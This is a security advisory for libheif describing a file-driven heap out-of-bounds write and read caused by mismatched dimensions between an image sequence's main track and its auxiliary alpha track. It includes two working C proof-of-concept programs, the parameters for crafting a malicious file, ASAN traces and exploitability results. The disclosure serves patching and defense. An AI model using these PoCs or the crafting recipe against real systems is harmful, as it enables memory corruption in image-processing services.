Skip to content

Heap out of bounds write in libheif uncompressed encoder when writing images with mismatched auxiliary alpha dimensions

High
farindk published GHSA-xpw3-9rhw-482x Jun 26, 2026

Package

libheif (strukturag/libheif)

Affected versions

>= 1.20.0

Patched versions

v1.23.1

Description

Summary

libheif lets an image sequence carry an auxiliary alpha track in a separate trak. The alpha track has its own dimensions and its own sample data. When a frame is decoded the alpha frame is pulled in and its plane is attached to the main frame as the alpha channel. The problem is that the sequence decoder never checks that the alpha frame has the same size as the main frame. It also never resizes it. So the decoded image you get back from the public API can have a small primary image and a much larger alpha plane (or the other way around).

The still image decoder already handles this case. It rescales the alpha plane to the main image size. That was the fix for issue #388. The image sequence decoder is newer and skips that step entirely.

The strongest impact shows up on re-encode. Take a sequence whose main track is 2x2 and whose alpha track is 256x256. heif_track_decode_next_image returns success and hands back an image that reports primary 2x2 and Y plane 2x2 but Alpha plane 256x256 with has_alpha true. Feed that image into heif_context_encode_image with the uncompressed encoder and libheif overflows the heap. The encoder sizes its output buffer from the primary dimensions but copies each component using that component's real plane size. The 2x2 primary gives an 8 byte buffer. The encoder then memcpys the 256x256 alpha plane into it.

The attacker controls all of the relevant values from the file. They pick the main track size. They pick the alpha track size. They pick the alpha sample bytes and the alpha sample length. So this is an attacker controlled heap out of bounds write reached through a normal decode and re-encode workflow.

Affected code

Commit bd114ed6d592adc92a09882172ab71d1b4c6e1b1 (v1.23.0).

The merge with no size check is in Track_Visual::decode_next_image_sample.

if (m_aux_alpha_track) {
auto alphaResult = m_aux_alpha_track->decode_next_image_sample(options);
if (!alphaResult) {
return alphaResult.error();
}
auto alphaImage = *alphaResult;
image->transfer_channel_from_image_as(alphaImage, heif_channel_Y, heif_channel_Alpha);
}

if (m_aux_alpha_track) {
  auto alphaResult = m_aux_alpha_track->decode_next_image_sample(options);
  ...
  image->transfer_channel_from_image_as(alphaImage, heif_channel_Y, heif_channel_Alpha);
}

transfer_channel_from_image_as moves the plane in as is and keeps its size.

void HeifPixelImage::transfer_channel_from_image_as(const std::shared_ptr<HeifPixelImage>& source,

The encoder sink is unc_encoder_component_interleave::encode_tile. It allocates from the primary size at line 194 and writes per component actual size at line 213.

std::vector<uint8_t> unc_encoder_component_interleave::encode_tile(const std::shared_ptr<const HeifPixelImage>& src_image) const
{
uint64_t total_size = compute_tile_data_size_bytes(src_image->get_width(), src_image->get_height());
std::vector<uint8_t> data;
data.resize(total_size);
uint64_t out_pos = 0;
for (const auto& comp : m_components) {
uint32_t plane_width = src_image->get_component_width(comp.component_id);
uint32_t plane_height = src_image->get_component_height(comp.component_id);
uint16_t bpp = comp.bpp;
size_t src_stride;
const uint8_t* src_data = src_image->get_component(comp.component_id, &src_stride);
if (m_use_memcpy) {
assert(comp.byte_aligned);
// Byte-aligned path: memcpy per row
int bytes_per_pixel = (bpp + 7) / 8;
for (uint32_t y = 0; y < plane_height; y++) {
memcpy(data.data() + out_pos,
src_data + src_stride * y,
plane_width * bytes_per_pixel);
out_pos += plane_width * bytes_per_pixel;
}

The size calculation that only looks at the primary dimensions is compute_tile_data_size_bytes.

uint64_t unc_encoder_component_interleave::compute_tile_data_size_bytes(uint32_t tile_width, uint32_t tile_height) const
{
uint64_t total = 0;
for (const auto& comp : m_components) {
uint32_t plane_width = tile_width;
uint32_t plane_height = tile_height;
if (comp.channel == heif_channel_Cb || comp.channel == heif_channel_Cr) {
// Adjust for chroma subsampling
if (m_uncC->get_sampling_type() == sampling_mode_420) {
plane_width = (plane_width + 1) / 2;
plane_height = (plane_height + 1) / 2;
}
else if (m_uncC->get_sampling_type() == sampling_mode_422) {
plane_width = (plane_width + 1) / 2;
}
}
uint64_t row_bytes;
if (comp.byte_aligned) {
row_bytes = static_cast<uint64_t>(plane_width) * ((comp.bpp + 7) / 8);
}
else {
row_bytes = (static_cast<uint64_t>(plane_width) * comp.bpp + 7) / 8;
}
total += row_bytes * plane_height;
}
return total;
}

The two public entry points are heif_track_decode_next_image

heif_error heif_track_decode_next_image(heif_track* track_ptr,

and heif_context_encode_image
heif_error heif_context_encode_image(heif_context* ctx,

Root cause

There are two layers and both matter.

First layer is the decoder. decode_next_image_sample associates the alpha track by its tref('auxl') reference and its alpha auxi URN and then calls transfer_channel_from_image_as without comparing the alpha frame size to the main frame size. The sequence path does not run check_decoded_image_size so nothing rejects the result. The decoded HeifPixelImage ends up with a primary size that disagrees with its alpha plane size.

Second layer is the encoder. encode_tile trusts that decoded object. It computes the output size with compute_tile_data_size_bytes(get_width(), get_height()) which assumes every non chroma component has the primary size. The copy loop then walks each component using get_component_width(comp.component_id) and get_component_height(comp.component_id) which are the real plane sizes. When a component is larger than the primary image out_pos runs past the end of the buffer and the memcpy writes out of bounds.

The existing color conversion guard does not help here. It checks alpha size against the image size but only when a conversion actually runs. The uncompressed encoder takes the native monochrome plus alpha image directly so no conversion happens and the guard is never reached.

Primary impact

A crafted sequence with a 2x2 main image and a 256x256 alpha auxiliary track produces an 8 byte output allocation inside the uncompressed encoder. The encoder then copies the 256x256 alpha plane into that 8 byte buffer. That is roughly 64 KB written past the allocation. The overflow length comes from the alpha track dimensions and the bytes written come from the alpha sample data so both are under attacker control.

This is an attacker controlled heap out of bounds write inside libheif reachable through documented public APIs in a realistic decode and re-encode workflow. It can cause memory corruption and may be exploitable depending on allocator state and build hardening.

ASAN on the exploit case:

WRITE of size 256 at ... thread T0
  #1 unc_encoder_component_interleave::encode_tile  unc_encoder_component_interleave.cc:213
  #2 unc_encoder::encode                            unc_encoder.cc:241
  #6 HeifContext::encode_image                      context.cc:1649
  #7 heif_context_encode_image                      heif_encoding.cc:711
0x... is located 0 bytes after 8-byte region
  allocated by unc_encoder_component_interleave::encode_tile  unc_encoder_component_interleave.cc:194

The consistent control file re-encodes with encode -> OK and no ASAN report.

The exploitability probe also confirmed that the overflow is not only a sanitizer crash. The alpha sample was filled with the attacker controlled pattern 41 42 43 44 (ABCD) and the same pattern was recovered in adjacent heap marker buffers in non ASAN builds. The ASAN write size scaled with the alpha width from 64 to 128 to 256 to 512 bytes per row and the total overflow grew from about 4 KB to 16 KB to 64 KB to 256 KB. For alpha sizes of at least 64x64 the marker corruption was reliable in the medium and large runs and the overwritten marker bytes matched the attacker controlled alpha pattern. The smaller 8x8 and 16x16 cases corrupted allocator metadata and aborted inside heif_context_encode_image before reaching the marker wall.

Secondary impact

The same missing validation is also unsafe in the other direction. When the main image is 256x256 and the alpha track is 2x2 the decoded frame reports 256x256 with has_alpha true but the alpha plane is only 2x2. A normal exporter that writes one RGBA pixel per primary pixel reads alpha[y*alpha_stride + x] across the full 256x256 and runs off the end of the small alpha plane. That is a heap out of bounds read. In a non ASAN build it copies adjacent heap bytes into the exported alpha channel.

The same read also happens inside libheif. heif_image_scale_image indexes every plane with the primary dimensions in scale_nearest_neighbor so scaling the frame reads past the small alpha plane in library code at pixelimage.cc:1929.

This read case is included as supporting evidence that the same inconsistent decoded image is unsafe in more than one consumer. It is not a separate finding. It shares the one root cause above.

Proof of concept

gen_poc.py
build_and_run.sh

POC Code: transcode_write_poc.c

#include <stdio.h>
#include <libheif/heif.h>
#include <libheif/heif_sequences.h>

static heif_image* decode_native(heif_context* ctx) {
    int n = heif_context_number_of_sequence_tracks(ctx);
    uint32_t ids[64]; if (n > 64) n = 64;
    heif_context_get_track_ids(ctx, ids);
    for (int i = 0; i < n; i++) {
        heif_track* tr = heif_context_get_track(ctx, ids[i]);
        if (heif_track_get_track_handler_type(tr) == heif_track_type_image_sequence) {
            heif_image* img = NULL;
            heif_error e = heif_track_decode_next_image(
                tr, &img, heif_colorspace_undefined, heif_chroma_undefined, NULL);
            heif_track_release(tr);
            if (e.code != heif_error_Ok) { fprintf(stderr, "decode: %s\n", e.message); return NULL; }
            return img;
        }
        heif_track_release(tr);
    }
    return NULL;
}

int main(int argc, char** argv) {
    if (argc < 2) { fprintf(stderr, "usage: %s FILE [out.heif]\n", argv[0]); return 2; }

    heif_context* ctx = heif_context_alloc();
    heif_error e = heif_context_read_from_file(ctx, argv[1], NULL);
    if (e.code != heif_error_Ok) { fprintf(stderr, "open: %s\n", e.message); return 1; }

    heif_image* img = decode_native(ctx);
    if (!img) { heif_context_free(ctx); return 1; }

    fprintf(stderr, "decoded frame: primary=%dx%d  Y=%dx%d  Alpha=%dx%d  has_alpha=%d\n",
        heif_image_get_primary_width(img), heif_image_get_primary_height(img),
        heif_image_get_width(img, heif_channel_Y),     heif_image_get_height(img, heif_channel_Y),
        heif_image_get_width(img, heif_channel_Alpha), heif_image_get_height(img, heif_channel_Alpha),
        heif_image_has_channel(img, heif_channel_Alpha));

    heif_encoder* enc = NULL;
    e = heif_context_get_encoder_for_format(ctx, heif_compression_uncompressed, &enc);
    if (e.code != heif_error_Ok) { fprintf(stderr, "no uncompressed encoder: %s\n", e.message); return 1; }

    heif_context* outc = heif_context_alloc();
    heif_image_handle* h = NULL;
    fprintf(stderr, "re-encoding frame as uncompressed HEIF ...\n");
    e = heif_context_encode_image(outc, img, enc, NULL, &h);   /* <-- OOB WRITE happens here */
    fprintf(stderr, "encode -> %s\n", e.code ? e.message : "OK");
    if (e.code == heif_error_Ok && argc >= 3) {
        heif_context_write_to_file(outc, argv[2]);
        fprintf(stderr, "wrote %s\n", argv[2]);
    }

    if (h) heif_image_handle_release(h);
    heif_encoder_release(enc);
    heif_context_free(outc);
    heif_image_release(img);
    heif_context_free(ctx);
    return 0;
}

POC Code: export_read_poc.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <libheif/heif.h>
#include <libheif/heif_sequences.h>

static heif_image* decode_native(heif_context* ctx) {
    int n = heif_context_number_of_sequence_tracks(ctx);
    uint32_t ids[64]; if (n > 64) n = 64;
    heif_context_get_track_ids(ctx, ids);
    for (int i = 0; i < n; i++) {
        heif_track* tr = heif_context_get_track(ctx, ids[i]);
        if (heif_track_get_track_handler_type(tr) == heif_track_type_image_sequence) {
            heif_image* img = NULL;
            heif_error e = heif_track_decode_next_image(
                tr, &img, heif_colorspace_undefined, heif_chroma_undefined, NULL);
            heif_track_release(tr);
            if (e.code != heif_error_Ok) { fprintf(stderr, "decode: %s\n", e.message); return NULL; }
            return img;
        }
        heif_track_release(tr);
    }
    return NULL;
}

int main(int argc, char** argv) {
    if (argc < 2) { fprintf(stderr, "usage: %s FILE [out.rgba]\n", argv[0]); return 2; }

    heif_context* ctx = heif_context_alloc();
    heif_error e = heif_context_read_from_file(ctx, argv[1], NULL);
    if (e.code != heif_error_Ok) { fprintf(stderr, "open: %s\n", e.message); return 1; }

    heif_image* img = decode_native(ctx);
    if (!img) { heif_context_free(ctx); return 1; }

    int W = heif_image_get_primary_width(img);
    int H = heif_image_get_primary_height(img);
    int has_alpha = heif_image_has_channel(img, heif_channel_Alpha);
    fprintf(stderr, "decoded frame: primary=%dx%d  Y=%dx%d  Alpha=%dx%d  has_alpha=%d\n",
        W, H,
        heif_image_get_width(img, heif_channel_Y),     heif_image_get_height(img, heif_channel_Y),
        has_alpha ? heif_image_get_width(img, heif_channel_Alpha)  : 0,
        has_alpha ? heif_image_get_height(img, heif_channel_Alpha) : 0,
        has_alpha);
    if (has_alpha &&
        (heif_image_get_width(img, heif_channel_Alpha)  != W ||
         heif_image_get_height(img, heif_channel_Alpha) != H))
        fprintf(stderr, "invariant violation: alpha plane does not match primary image\n");

    int y_stride = 0, a_stride = 0;
    const uint8_t* Y = heif_image_get_plane_readonly(img, heif_channel_Y, &y_stride);
    const uint8_t* A = has_alpha ? heif_image_get_plane_readonly(img, heif_channel_Alpha, &a_stride) : NULL;

    size_t nbytes = (size_t)W * (size_t)H * 4u;
    uint8_t* rgba = (uint8_t*)calloc((size_t)W * (size_t)H, 4);
    if (!rgba) { perror("calloc"); return 2; }

    fprintf(stderr, "exporting RGBA (%dx%d) ...\n", W, H);
    for (int y = 0; y < H; y++) {
        for (int x = 0; x < W; x++) {
            uint8_t luma  = Y[(size_t)y * y_stride + x];
            uint8_t alpha = A ? A[(size_t)y * a_stride + x] : 0xFF;  /* <-- OOB read here */
            uint8_t* px = &rgba[((size_t)y * W + x) * 4];
            px[0] = luma; px[1] = luma; px[2] = luma; px[3] = alpha;
        }
    }
    fprintf(stderr, "exported %zu bytes\n", nbytes);
    if (argc >= 3) {
        FILE* f = fopen(argv[2], "wb");
        if (f) { fwrite(rgba, 1, nbytes, f); fclose(f); fprintf(stderr, "wrote %s\n", argv[2]); }
    }

    free(rgba);
    heif_image_release(img);
    heif_context_free(ctx);
    return 0;
}

gen_poc.py builds the sequence files. They are self contained and use the built in uncompressed codec so no external video decoder is needed. The uncompressed codec is used to make the PoC self contained. The missing alpha dimension validation is codec independent after decode. The demonstrated write sink is in the uncompressed encoder during re encoding.

Primary write case. control_consistent.heifs has a 64x64 main track and a 64x64 alpha track and is expected to re-encode cleanly. exploit_reencode_overflow.heifs has a 2x2 main track and a 256x256 alpha track and is expected to overflow.

Secondary read case. control_same_alpha.heifs is 256x256 main and 256x256 alpha and exports cleanly. exploit_small_alpha.heifs is 256x256 main and 2x2 alpha and reads out of bounds on export.

Build and run everything:

bash poc/build_and_run.sh

The script builds libheif with AddressSanitizer and the uncompressed codec only. It then runs the write control and exploit through transcode_write_poc and the read control and exploit through export_read_poc.

Expected on the primary exploit:

decoded frame: primary=2x2  Y=2x2  Alpha=256x256  has_alpha=1
re-encoding frame as uncompressed HEIF ...
==ERROR: AddressSanitizer: heap-buffer-overflow ... WRITE of size 256
  #1 unc_encoder_component_interleave::encode_tile  unc_encoder_component_interleave.cc:213
  #7 heif_context_encode_image                      heif_encoding.cc:711
0x... is located 0 bytes after 8-byte region

Expected on the secondary exploit:

decoded frame: primary=256x256  Y=256x256  Alpha=2x2  has_alpha=1
invariant violation: alpha plane does not match primary image
==ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1

Why this is not caller misuse

The primary path starts from an untrusted HEIF sequence file. The application does the normal thing. It opens the file. It decodes a sequence frame. It re-encodes that frame. It never builds planes by hand and it never touches pixel memory. libheif returns the inconsistent image and libheif performs the out of bounds write during encoding. The bug is entirely inside the library.

Independence check

The encoder overflow can also be reproduced without any file. An application can call heif_image_create for a 2x2 image and then heif_image_add_plane(img, heif_channel_Alpha, 256, 256, 8) and pass that to heif_context_encode_image. heif_image_add_plane does not validate the plane size against the image size so the same write at encode_tile:213 fires. That direct route is application misuse because the application deliberately provides mismatched planes. It is useful only because it shows the encoder is fragile on its own and needs its own fix. The security relevant path in this report is the file driven path where the sequence decoder builds the inconsistent image from attacker input. This is why two fixes are warranted. It is not why there should be two reports.

Suggested fix

Fix the decoder first. In Track_Visual::decode_next_image_sample reject or resize an alpha auxiliary frame whose dimensions differ from the main frame before calling transfer_channel_from_image_as. This mirrors what the still image path already does.
Fix the encoder defensively as well. Before copying validate that every component plane matches the assumptions used to size the output buffer. Either reject inconsistent images or make compute_tile_data_size_bytes and encode_tile use the same per component dimensions. This also closes the direct heif_image_add_plane route.
It is also worth enforcing the size invariant centrally in HeifPixelImage so a mismatched plane cannot be constructed or returned silently.

Severity assessment

Current GHSA library-level vector:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H = 8.2 High

A lower downstream-application vector was previously considered:

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L = 5.3 Moderate

The 5.3 vector models currently observed desktop-style consumers where user interaction is required and common applications either reject the malformed sequence during RGB/RGBA conversion or rebuild a clean image before writing.

The 8.2 vector is used for the independent libheif library assessment. FIRST CVSS guidance states that libraries should be scored using a reasonable worst-case implementation scenario when assessed independently of a specific adopting program. For libheif, that includes automated image-processing services accepting untrusted HEIF sequence files and processing them through public decode and encode APIs.

The issue is file-driven and requires no privileges. libheif can create an inconsistent decoded image from a crafted sequence file through the public sequence API. That library-produced object can then be consumed by another public libheif API and reach an attacker-controlled heap out-of-bounds write.

Integrity is Low because the overwrite contents and length are attacker-controlled. Availability is High because the crafted input can terminate the affected image-processing workflow through memory corruption in the library path. Confidentiality is None for the primary write impact.

This assessment separates the independent library-level impact from the lower downstream-application view observed in currently surveyed applications.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

CVE ID

CVE-2026-62291

Weaknesses

Out-of-bounds Read

The product reads data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Out-of-bounds Write

The product writes data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Credits